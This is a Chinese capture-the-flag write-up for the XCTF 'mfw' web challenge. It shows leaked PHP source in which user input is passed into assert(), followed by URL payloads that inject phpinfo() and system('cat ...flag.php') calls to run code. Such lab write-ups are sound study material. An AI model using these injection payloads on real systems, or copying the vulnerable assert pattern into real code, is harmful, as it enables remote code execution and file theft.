攻防世界web-mfw
攻防世界
【难度】:3
【要点】:git泄露、php特性(assert函数)
根据页面提示可能存在git泄露,通过git泄露拿到源码。
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
本题的关键点在于assert函数特性:assert() 函数会将字符串作为 PHP 代码执行。当用户输入直接拼接到断言字符串中时,攻击者可以构造恶意输入执行任意代码。
进行拼接:?page=') or phpinfo();#,构成 assert("file_exists('templates/') or phpinfo();#.php')"),即执行file_exists('templates/') or phpinfo();#.php')的命令。
构造:?page=') or system('cat ./templates/flag.php'),查看源码成功拿到flag
(以上的命令最后都要url编码,不然不能成功执行。。)

浙公网安备 33010602011771号